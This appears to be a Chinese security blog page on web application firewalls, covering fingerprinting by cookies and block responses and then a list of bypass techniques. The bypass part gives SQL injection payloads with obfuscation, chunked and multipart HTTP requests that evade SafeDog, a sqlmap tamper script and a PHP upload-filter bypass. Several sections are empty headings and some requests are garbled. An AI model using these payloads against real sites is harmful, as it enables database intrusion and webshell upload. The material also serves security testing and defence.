绕过

绕过

关注
发信
关注(28)粉丝(399)

应用安全 - 安全设备 - WAF原理/检测/绕过

原理

基于Cookie值

Citrix Netscaler（2013年使用广泛）

“Citrix Netscaler”会在HTTP返回头部Cookie位置加入“ns_af”的值，可以以此判断为Citrix Netscaler的WAF，国内此类WAF很少

 GET / HTTP/1.1
 Host: target.com
 User-Agent: Mozilla/ Firefox/25.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Cookie: ASPSESSIONIDAQQSDCSC=HGJHINLDNMNFHABGPPBNGFKC; ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;ns_af_.target.br_%2F_wat=QVNQU0VTU0lPTklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA&
8 Connection: keep-alive
9 Cache-Control: max-age=0

F5 BIG IP ASM

  F5 BiG IP ASM会在Cookie中加入“TS+随机字符串”的Cookie信息，一个非恶意的请求如下：
  GET / HTTP/1.1
  Host: www.target.com
  User-Agent: Mozilla/ Firefox/25.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 6 Accept-Language: en-US,en;q=0.5
 7 Accept-Encoding: gzip, deflate
 8 Cookie: target_cem_tl=40FC2190D3B2D4E60AB22C0F9EF155D5; s_fid=77F8544DA30373AC-31AE8C79E13D7394; s_vnum=1388516400627%26vn%3D1; s_nr=1385938565978-New; s_nr2=1385938565979-New; s_lv=1385938565980; s_vi=[CS]v1|294DCEC0051D2761-40000143E003E9DC[CE]; fe_typo_user=7a64cc46ca253f9889675f9b9b79eb66; TSe3b54b=36f2896d9de8a61cf27aea24f35f8ee1abd1a43de557a25c529fe828; TS65374d=041365b3e678cba0e338668580430c26abd1a43de557a25c529fe8285a5ab5a8e5d0f299
 9 Connection: keep-alive
10 Cache-Control: max-age=0

基于HTTP响应

Mod_Security

Mod_Security是为Apache设计的开源Web防护模块，一个恶意的请求Mod_Security会在响应头返回“406 Not acceptable”

 请求：
  GET /<script>alert();</script>HTTP/1.1
  Host: www.target.com
  User-Agent: Mozilla/ Firefox/25.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 6 Accept-Language: en-US,en;q=0.5
 7 Accept-Encoding: gzip, deflate
 8 Connection: keep-alive
 9 响应：
10 HTTP/1.1 406 Not Acceptable
11 Date: Thu, 05 Dec 2013 03:33:03 GMT
12 Server: Apache
13 Content-Length: 226
14 Keep-Alive: timeout=10, max=30
15 Connection: Keep-Alive
16 Content-Type: text/html; charset=iso-8859-1
17 <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

WebKnight

WebKnight是用来设计在IIS下面使用的WAF设备，较为常见。WebKnight会对恶意的请求返回“999 No Hacking”

  请求：
  GET /?PageID=<script>alert();</script>HTTP/1.1
  Host: www.aqtronix.com
  User-Agent: Mozilla/ Firefox/25.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 6 Accept-Language: en-US,en;q=0.5
 7 Accept-Encoding: gzip, deflate
 8 Connection: keep-alive
 9 响应：
10 HTTP/1.1 999 No Hacking
11 Server: WWW Server/1.1
12 Date: Thu, 05 Dec 2013 03:14:23 GMT
13 Content-Type: text/html; charset=windows-1252
14 Content-Length: 1160
15 Pragma: no-cache
16 Cache-control: no-cache
17 Expires: Thu, 05 Dec 2013 03:14:23 GMT

F5 BIG IP

 F5 BIG IP会对恶意请求返回“419 Unknown”的信息，如下：

 GET /<script> HTTP/1.0
 HTTP/ Unknown
 Cache-Control: no-cache
 Content-Type: text/html; charset=iso--
 Pragma: no-cache
 Content-Length:
 Date: Mon,  Nov  :: GMT
 Connection: keep-alive
 Vary: Accept-Encoding

dotDefender

dotDefender用来防护.net的程序，会对恶意请求返回“dotDefender Blocked Your Request”

GET /---HTTP/1.1
Host: www.acc.com
User-Agent: Mozilla/ Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 05 Dec 2013 03:40:14 GMT
Content-Length: 2616
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>dotDefender Blocked Your Request</title>
……

基于特定资源文件

部分特定WAF在返回的告警页面含特定的CSS或者JS文件，可以作为判断的依据，这类情况在WAF类里比较少，可归并到HTTP响应中。

<html><center><iframe width=" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html"></iframe></center>  </body>  </html>
HTTP/ Not Allowed
Server: ASERVER/-
Date: Fri,  Dec  :: GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By-Anquanbao: MISS from uni-tj-ky-sb3
Content-Length:
<div class="wrapper">
<div class="titlelogo"></div>
<div class="err_tips">由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。</div>
<div class="feedback">
<form action="http://report.anquanbao.com/api.php" method="post">
<input type="hidden" name="black_code" value="" class="hidden_rule_id" />
<input type="hidden" name="deny_time" value="" class="hidden_intercept_time" />
<input type="hidden" name="server_id" value="" class="hidden_server_title" />
<input type="hidden" name="deny_url" value="" class="deny_url" />
<input type="submit" class="submit_img" value="" />
</form>
</div>
<a href="javascript:;">站长点击查看详情</a>
<a href="javascript:;">站长点击查看详情</a>

防火墙识别

”--identify-wafWVSAPPSCAN

绕过技巧

防火墙缺陷绕过 - seleselectct + /**/

index.html?username=%*%,concat%28%,%*%%29x%23_

绕过技巧 - HTTP协议层 - 利用pipline绕过 | 会被安全狗拦截

burp Repeater -》update Content-Length 取消选中 -》 截获post请求
id =  and = # 被拦截

绕过技巧 - HTTP协议层 - 利用分块编码传输绕过 | 该方法可绕安全狗防火墙

绕过技巧 - HTTP协议层 - ModSecurity绕过

绕过技巧 - HTTP协议层 - 协议未覆盖绕过 | 可绕过安全狗

POST /sqlinject.php HTTP/1.0
Host: 127.0.0.1
User-Agent: Mozilla/
Firefox/65.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:http://127.0.0.1/sqlinject.php?id=1
Content-Type: multipart/form-data;boundary=69
Content-Length: 69
Connection: close
Upgrade-Insecure-Requests: 1

--69
Content-Disposition: form-data; name="id"

1 and 1=1
--69--

(不可绕过安全狗)

POST /sqlinject.php HTTP/1.0
Host: 127.0.0.1
User-Agent: Mozilla/5.0(Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101
Firefox/65.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:http://127.0.0.1/sqlinject.php?id=1
Content-Type: multipart/form-data;boundary=
Content-Length:
Connection: close
Upgrade-Insecure-Requests:

--
Content-Disposition: form-data; name="id"

.and =
----

绕过技巧 - HTTP协议层 - 分块编码和协议未覆盖组合绕过

绕过技巧 - HTTP协议层 - 利用数据溢出绕过

绕过技巧 - HTTP协议层 - Content-Encoding绕过

绕过技巧 - HTTP协议层 - Content-Type绕过

绕过技巧 - HTTP协议层 - Charset绕过

绕过技巧 - HTTP协议层 - 参数污染绕过

绕过技巧 - 数据层

绕过技巧 - 数据层 - base64
绕过技巧 - 数据层 - Unicode JSON
绕过技巧 - 数据层 - 实体编码 XML
绕过技巧 - 数据层 - 八进制
绕过技巧 - 数据层 - 同形字

绕过技巧 - 语言本身特性 - asp/asp.net

Request对象的包解析漏洞
高级复参攻击

绕过技巧 - 容器层 - IIS

IIS %，在参数中，如果%后面不是符合URL编码十六进制值，就会忽略该%符合，如id=%%，等价于id=%。 IIS asp 中的GET请求方式提交Body表单，后台可接收。 IIS asp的参数污染中，通过,逗号连接污染参数。 Tomcat 路径跳转中允许;符号，/..;/..;/。 PHP $_REQUEST可以接收cookie中的参数

绕过技巧 - 传输层

绕过技巧 - SSL层

绕过技巧 - DOS层

绕过WAF具体方法整理

SafeDog5.3 - Sqlmap tamper

#!/usr/bin/env python

"""
Copyright (c) - sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/*|--|*/'

    Tested against:
        * Microsoft SQL Server
        * MySQL , 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/*|--|*/id/*|--|*/FROM/*|--|*/users'
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*|--|*/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*|--|*/"
                continue

            retVal += payload[i]

    return retVal

SafeDog绕过

POST /sqlinject.php HTTP/1.0
Host: 127.0.0.1
User-Agent: Mozilla/
Firefox/65.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:http://127.0.0.1/sqlinject.php?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: close
Transfer-Encoding: chunked
Upgrade-Insecure-Requests: 1

5
id=1
2
an
3
d 1
2
=1
0

两个空行

Imperva、360等防火墙绕过

POST /xxxxxx.jsp HTTP/ xxxxxxxxx  xx=xxxxxx  xxxxxxxxx ;testsdasdsad d ;test &a= and ;test44444 =  (两个换行)

WTS-WAF

注入绕过

id and 1=+1

id and+1=1

id and 1+=2

id+and+1+=2
and exists(select * from +表名)

上传绕过
filename=.php -> filename="123.php%0a" -> filename="123.Php%0a"
05-27 13:25
Powered by LMLPHP ©2024 绕过 0.051125